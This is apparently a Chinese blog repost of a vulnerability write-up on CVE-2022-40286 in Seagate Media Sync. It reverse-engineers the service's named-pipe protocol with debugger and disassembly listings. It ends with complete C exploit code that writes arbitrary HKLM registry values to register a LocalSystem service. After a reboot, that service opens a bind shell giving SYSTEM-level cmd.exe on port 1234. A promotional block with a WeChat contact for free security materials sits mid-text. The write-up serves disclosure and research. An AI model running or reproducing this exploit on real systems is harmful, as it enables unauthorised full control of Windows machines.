這是挖掘 CVE-2022-40286 漏洞的記錄,
閑來無事,我上網隨便找了一個驅動來進行測驗,我想找一個知名公司的產品,但是又不能是太偏太難懂的東西,
我最先發現了一個叫"Seagate Media Sync"的軟體,這是一個將檔案復制到希捷無線硬碟上的工具,之后我安裝并運行了該軟體,然后我發現它創建了一個名為"MediaAggreService.exe"的后臺SYSTEM服務,

然后發現這個工具還有一個UI安裝程式,

我們一般常見的查找權限提升的方式是對低權限的行程(UI)和高權限服務(或驅動)之間的內部通信進行攻擊開始的,要想使用這個方法,首先第一步我們要能夠監控的來自UI的合法通信,然而,由于我沒有與之配套的希捷硬碟,我們只能使用這個程式中非常少的功能,

通過查看行程資源管理器發現,該服務還包含了一個處理MEDIA_AGGRE_PIPE.PIP管道訊息的句柄,猜測這個管道可能是用于用戶界面(stxmediamanager.exe)和服務(MediaAggreService.exe)之間的通信,

通過觀察用戶界面,似乎我們可以點擊的唯一按鈕就是 "重繪"按鈕,希望這能夠讓我們監控到一些服務通信,我們將除錯器連接到用戶界面行程,并在CreateFile和WriteFile函式上設定斷點,

如上所示,當我們點擊 "重繪 "按鈕時,UI行程使用CreateFile函式進行了一個命名管道連接,我們可以檢查之后呼叫的WriteFile函式來記錄訊息資料的內容,以下是寫資料操作,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)


根據以上內容,我們可以猜測,第一個訊息是一個4位元組長度的欄位,表示訊息體的大小,第二條資訊則是真實的命令資料,在這個事件中,它正在發送一條訊息體長度為8個位元組的命令,最初的4位元組長度值與第二個WriteFile呼叫的nNumberOfBytesToWrite引數一致,這正符合我們的預期,我們現在可以檢查該資訊傳遞程序中的接收端,在MediaAggreService.exe中的ConnectNamedPipe函式上設定一個斷點,該斷點應該會在UI客戶端呼叫CreateFile函式時觸發,

然后我們現在可以在ReadFile函式上設定一個斷點,這樣就可以看到從客戶端發送的資料,

現在我們已經找到了該服務中讀取資料的代碼,然后我們可以跟蹤代碼的執行流程,由于目前我們只能訪問用戶界面中的 "重繪 "命令,因此我們很有必要再進行一些靜態分析,看看還有哪些命令可用,
在花了一些時間分析代碼后,我可以看到每個命令都是以一個16位的簽名(0x4B5C)開始的,之后是一個16位的 主命令ID,然后是一個32位的次命令ID,
001145BB | BA 5C4B0000 | mov edx,4B5C | set expected command header signature: 0x4B5C 001145C0 | 0FB708 | movzx ecx,word ptr ds:[eax] | get actual command header signature value 001145C3 | 66:3BCA | cmp cx,dx | check 16-bit signature value 001145C6 | 74 1A | je mediaaggreservice.1145E2 | jump if signature matches 001145C8 | 51 | push ecx | 001145C9 | 68 D8391200 | push mediaaggreservice.1239D8 | "[PIPE] Failure: Bad Signature 0x%X" 001145CE | 68 F0841400 | push mediaaggreservice.1484F0 | 001145D3 | E8 D866FFFF | call mediaaggreservice.10ACB0 | add_log_entry 001145D8 | 83C4 0C | add esp,C | 001145DB | 33C0 | xor eax,eax | 001145DD | 5E | pop esi | 001145DE | 8BE5 | mov esp,ebp | 001145E0 | 5D | pop ebp | 001145E1 | C3 | ret | error, return 001145E2 | 57 | push edi | 001145E3 | FF70 04 | push dword ptr ds:[eax+4] | log minor command ID (32-bit) 001145E6 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | log major command ID (16-bit) 001145EA | 50 | push eax | 001145EB | 68 203A1200 | push mediaaggreservice.123A20 | "[PIPE] Command major/minor: [0x%X:0x%X]" 001145F0 | 68 F0841400 | push mediaaggreservice.1484F0 | 001145F5 | E8 7667FFFF | call mediaaggreservice.10AD70 | add_log_entry 001145FA | 8B86 D0F00100 | mov eax,dword ptr ds:[esi+1F0D0] | 00114600 | C745 F8 00000000 | mov dword ptr ss:[ebp-8],0 | 00114607 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | get major command value (message_base + 0x2) 0011460B | 83C4 10 | add esp,10 | 0011460E | 83F8 10 | cmp eax,10 | check if the major command value is 0x10 00114611 | 74 60 | je mediaaggreservice.114673 | jump to 0x10 command switch 00114613 | 83F8 20 | cmp eax,20 | check if the major command value is 0x20 00114616 | 74 1A | je mediaaggreservice.114632 | jump to 0x20 command switch 00114618 | 68 C83A1200 | push mediaaggreservice.123AC8 | "[PIPE] Failure: Unknown Major Command" 0011461D | 68 F0841400 | push mediaaggreservice.1484F0 | 00114622 | E8 8966FFFF | call mediaaggreservice.10ACB0 | add_log_entry
通過代碼我們也可以看到,該服務似乎只支持兩個主命令ID -- 0x10和0x20,發現這些線索后,我們現在可以解碼我們先前記錄的原始的 "重繪 "命令了,
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x1) ? (no message body)
在觀察分析了兩個主命令組的代碼后,我注意到0x10命令組包含了一個呼叫內部函式 MXOSRVSetRegKey 的條目,這個條目的次命令ID為0x400,
001136E4 | 68 08300000 | push 3008 | total message length 001136E9 | 8D47 08 | lea eax,dword ptr ds:[edi+8] | 001136EC | 50 | push eax | 001136ED | 8DB3 C0A90100 | lea esi,dword ptr ds:[ebx+1A9C0] | 001136F3 | 56 | push esi | 001136F4 | E8 5F560000 | call <JMP.&memcpy> | copy command message body 001136F9 | FFB3 C0D90100 | push dword ptr ds:[ebx+1D9C0] | 001136FF | 8D83 C0C90100 | lea eax,dword ptr ds:[ebx+1C9C0] | 00113705 | 50 | push eax | 00113706 | 8D83 C0B90100 | lea eax,dword ptr ds:[ebx+1B9C0] | 0011370C | 50 | push eax | 0011370D | 56 | push esi | 0011370E | FF15 68D31100 | call dword ptr ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>] | execute command
顧名思義,MXOSRVSetRegKey 函式的作用似乎就是設定一個注冊表值,如果該鍵不存在,那么就創建該鍵,
70F25590 | 55 | push ebp | 70F25591 | 8BEC | mov ebp,esp | 70F25593 | 83EC 08 | sub esp,8 | 70F25596 | 8D45 F8 | lea eax,dword ptr ss:[ebp-8] | 70F25599 | 50 | push eax | 70F2559A | 8D45 FC | lea eax,dword ptr ss:[ebp-4] | 70F2559D | 50 | push eax | 70F2559E | 6A 00 | push 0 | 70F255A0 | 68 3F000F00 | push F003F | 70F255A5 | 6A 00 | push 0 | 70F255A7 | 68 6823F370 | push stxmediadevif.70F32368 | 70F255AC | 6A 00 | push 0 | 70F255AE | FF75 08 | push dword ptr ss:[ebp+8] | 70F255B1 | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 | 70F255B8 | 68 02000080 | push 80000002 | 70F255BD | FF15 1020F370 | call dword ptr ds:[<&RegCreateKeyExW>] | 70F255C3 | 85C0 | test eax,eax | 70F255C5 | 75 1E | jne stxmediadevif.70F255E5 | 70F255C7 | FF75 14 | push dword ptr ss:[ebp+14] | 70F255CA | FF75 10 | push dword ptr ss:[ebp+10] | 70F255CD | 6A 01 | push 1 | 70F255CF | 50 | push eax | 70F255D0 | FF75 0C | push dword ptr ss:[ebp+C] | 70F255D3 | FF75 FC | push dword ptr ss:[ebp-4] | 70F255D6 | FF15 0420F370 | call dword ptr ds:[<&RegSetValueExW>] | 70F255DC | FF75 FC | push dword ptr ss:[ebp-4] | 70F255DF | FF15 0020F370 | call dword ptr ds:[<&RegCloseKey>] | 70F255E5 | 33C0 | xor eax,eax | 70F255E7 | 8BE5 | mov esp,ebp | 70F255E9 | 5D | pop ebp | 70F255EA | C3 | ret |
通過對這段代碼的分析表明,該命令很有可能會允許我們通過客戶端行程遠程創建或者修改注冊表字串值,注冊表的根鍵被硬編碼為HKEY_LOCAL_MACHINE(在RegCreateKeyExW呼叫中推0x80000002),在對這些函式進行逆向分析后,我們發現這個命令接收的訊息資料格式如下所示,
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x400) ? Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> Value (wide-char) 0x3000 -> Value Length (DWORD) 0x3004 -> (Unused)
由于型別欄位被硬編碼為REG_SZ(在RegSetValueExW呼叫中push 1),所以上面的命令只支持字串值 ,
我還發現了另一個命令ID(0x410),它允許我們以同樣的方式設定REG_DWORD值,這個命令接收的訊息資料格式如下,
Header Length: 0x8 0x0000 -> Signature (0x4B5C) 0x0002 -> Major Command ID (0x10) 0x0004 -> Minor Command ID (0x410) ? Message Length: 0x3008 0x0000 -> Registry Key Path (wide-char) 0x1000 -> Value Name (wide-char) 0x2000 -> (Unused) 0x3000 -> (Unused) 0x3004 -> Value (DWORD)
從上面的命令資料布局可以看出,我們可以推斷出這兩個命令應該有一個相同的資料結構,我們可以用C結構來表示,如下,
// reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; ? // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; };
假設我們的上述猜想都是正確的,這也就意味著,任何用戶都能夠通過向seagate服務管道發送命令,向HKEY_LOCAL_MACHINE內的任何鍵寫入任意的注冊表值,如果這可以實作,這也就意味著我們對于權限的提升就有了一個很明確的利用途徑,
所以根據我們分析得到的結果,撰寫一個自定義的管道客戶端來測驗我們的猜想,
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; ? // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } ? // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; ? // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; ? // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } ? // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } ? // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); ? // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } ? // free buffer free(pDataBlock); ? // close pipe CloseHandle(hPipe); ? return 0; } ? DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; ? // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); ? // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } ? return 0; } ? SetRegString("SOFTWARE\\Microsoft\\test", "test", "test_value");
上面的代碼是連接到了MEDIA_AGGRE_PIPE.PIP管道,并在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\test內創建一個注冊表值,然后我們將會以普通用戶的身份來執行這個程式,
經過測驗可以發現,這段代碼可以正常執行,并成功創建了目標注冊表值,對注冊表HKEY_LOCAL_MACHINE的操作也為攻擊提供了更多的可能性,在這種情況下,我們可以通過向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services注冊表鍵添加條目來創建一個自定義服務,
通常我們不會部署一個單獨的exe來作為SYSTEM服務的有效載荷,而是將這一功能放到可執行檔案中,這個執行程式將會首先檢查它是否是以SYSTEM用戶的身份運行,如果不是,它將會執行默認的行為,并通過希捷服務管道創建一個新的服務,如上所述,否則,如果exe檢測到它是以SYSTEM服務的身份運行,它將會部署主要的有效載荷,這將會創建一個shell,
總而言之,這個POC工具將執行以下步驟,
-
使用CreateFile通過命名管道.\pipe\MEDIA_AGGRE_PIPE.PIP連接到希捷服務,
-
使用GetModuleFileName獲取當前exe的檔案路徑,
-
通過向希捷服務的命名管道發送注冊表命令,創建一個新的Windows服務,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services中添加一個新條目,使用當前的exe作為行程路徑,
-
重新啟動計算機,
-
Windows將在啟動時自動啟動我們新創建的服務,可執行程式將檢測到它是以SYSTEM身份運行的,并監聽1234埠的TCP連接,
-
當用戶連接到localhost:1234時,漏洞服務將會以SYSTEM的身份啟動一個新的cmd.exe行程,stdin/stdout會被重定向到客戶端套接字,
執行后

重啟計算機

鏈接到 localhost:1234

最終,這個漏洞編號為 CVE-2022-40286,
以下是完整的利用代碼,
#include <stdio.h> #include <winsock2.h> #include <windows.h> ? #pragma comment(lib, "ws2_32.lib") ? // reverse-engineered seagate command header struct SeagateCommandHeaderStruct { WORD wSignature; WORD wMajorCommandID; DWORD dwMinorCommandID; }; ? // reverse-engineered seagate registry command data struct SeagateRegistryCommandDataStruct { wchar_t wszKeyPath[2048]; wchar_t wszValueName[2048]; wchar_t wszValueString[2048]; DWORD dwValueStringLength; DWORD dwDwordValue; }; ? DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE *pCommandData, DWORD dwCommandDataLength) { HANDLE hPipe = NULL; DWORD dwBytesWritten = 0; DWORD dwDataLength = 0; SeagateCommandHeaderStruct SeagateCommandHeader; BYTE *pDataBlock = NULL; ? // open seagate media sync pipe hPipe = CreateFile("\\\\.\\pipe\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hPipe == INVALID_HANDLE_VALUE) { return 1; } ? // initialise command header memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader)); SeagateCommandHeader.wSignature = 0x4B5C; SeagateCommandHeader.wMajorCommandID = wMajorCommandID; SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID; ? // calculate total data length dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength; ? // write data length to pipe if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength), &dwBytesWritten, NULL) == 0) { CloseHandle(hPipe); return 1; } ? // allocate buffer to combine the command header and data pDataBlock = (BYTE*)malloc(dwDataLength); if(pDataBlock == NULL) { return 1; } ? // copy the header and data into the data buffer memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader, sizeof(SeagateCommandHeader)); memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)), (void*)pCommandData, dwCommandDataLength); ? // write the message to the pipe if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) == 0) { free(pDataBlock); CloseHandle(hPipe); return 1; } ? // free buffer free(pDataBlock); ? // close pipe CloseHandle(hPipe); ? return 0; } ? DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; ? // initialise seagate registry command data (string) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueString, pValue, (sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwValueStringLength = (wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t); ? // send command if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } ? return 0; } ? DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue) { SeagateRegistryCommandDataStruct SeagateRegistryCommandData; ? // initialise seagate registry command data (dword) memset((void*)&SeagateRegistryCommandData, 0, sizeof(SeagateRegistryCommandData)); mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath, (sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1); mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName, (sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1); SeagateRegistryCommandData.dwDwordValue = dwValue; ? // send command if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData, sizeof(SeagateRegistryCommandData)) != 0) { return 1; } ? return 0; } ? DWORD StartBindShell(WORD wPort) { sockaddr_in SockAddr; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; SOCKET ListenSocket = 0; SOCKET AcceptSocket = 0; ? // create listen socket ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if(ListenSocket == INVALID_SOCKET) { return 1; } ? // set socket addr info memset((void*)&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(wPort); SockAddr.sin_addr.s_addr = htonl(INADDR_ANY); ? // bind socket if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } ? // listen if(listen(ListenSocket, 1) == SOCKET_ERROR) { closesocket(ListenSocket); return 1; } ? // wait for clients for(;;) { // wait for connection AcceptSocket = accept(ListenSocket, NULL, NULL); if(AcceptSocket == INVALID_SOCKET) { closesocket(ListenSocket); return 1; } ? // set StartupInfo fields - redirect input/output to socket memset((void*)&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; StartupInfo.wShowWindow = SW_HIDE; StartupInfo.hStdInput = (HANDLE)AcceptSocket; StartupInfo.hStdOutput = (HANDLE)AcceptSocket; StartupInfo.hStdError = (HANDLE)AcceptSocket; ? // create cmd.exe process with inherited handles memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo)); if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { closesocket(AcceptSocket); closesocket(ListenSocket); return 1; } ? // client socket has been passed to cmd.exe - close socket in local process closesocket(AcceptSocket); } ? // close listen socket closesocket(ListenSocket); ? return 0; } ? DWORD ConfirmSystemUser() { HANDLE hToken = NULL; BYTE bTokenUser[1024]; DWORD dwLength = 0; SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority; TOKEN_USER *pTokenUser = NULL; void *pSystemSid = NULL; ? // open process token if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0) { return 1; } ? // get user SID pTokenUser = (TOKEN_USER*)bTokenUser; if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &dwLength) == 0) { CloseHandle(hToken); return 1; } ? // close token handle CloseHandle(hToken); ? // SECURITY_NT_AUTHORITY SidIdentifierAuthority.Value[0] = 0; SidIdentifierAuthority.Value[1] = 0; SidIdentifierAuthority.Value[2] = 0; SidIdentifierAuthority.Value[3] = 0; SidIdentifierAuthority.Value[4] = 0; SidIdentifierAuthority.Value[5] = 5; ? // get SYSTEM user SID if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0) { return 1; } ? // check if this is the SYSTEM user if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0) { FreeSid(pSystemSid); return 1; } ? // clean up FreeSid(pSystemSid); ? return 0; } ? DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath) { char szServiceKey[512]; char szImagePath[512]; char szWindowsDir[512]; ? // get windows directory memset(szWindowsDir, 0, sizeof(szWindowsDir)); GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1); ? // set service key memset(szServiceKey, 0, sizeof(szServiceKey)); _snprintf(szServiceKey, sizeof(szServiceKey) - 1, "SYSTEM\\CurrentControlSet\\Services\\%s", pServiceName); ? // set image path // (cmd.exe will launch this process in the background - this is to prevent the service manager from killing our process for not responding to service status requests) memset(szImagePath, 0, sizeof(szImagePath)); _snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\system32\\cmd.exe\" /c start \"\" \"%s\"", szWindowsDir, pExePath); ? // set registry value if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0) { return 1; } ? // set registry value if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0) { return 1; } ? // set registry value if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0) { return 1; } ? // set registry value if(SetRegDword(szServiceKey, "Start", 2) != 0) { return 1; } ? // set registry value if(SetRegDword(szServiceKey, "Type", 16) != 0) { return 1; } ? return 0; } ? int main() { WSADATA WinsockData; char szPath[512]; ? // check if this process is running as SYSTEM user if(ConfirmSystemUser() == 0) { // initialise winsock if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0) { return 1; } ? // ready - start tcp bind shell on port 1234 if(StartBindShell(1234) != 0) { return 1; } } else { printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege Escalation Exploit (CVE-2022-40286)\n"); printf("x86matthew (www.x86matthew.com)\n\n"); ? printf("Retrieving current exe path...\n"); ? // get current exe path memset(szPath, 0, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0) { printf("Error: Failed to get current exe path\n"); ? return 1; } ? printf("Creating service...\n"); ? // create service if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0) { printf("Error: Failed to add service via Seagate Media Sync service\n"); ? return 1; } ? printf("Service created successfully - reboot and connect to localhost:1234 for SYSTEM shell\n"); } ? return 0; }
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539031.html
標籤:其他
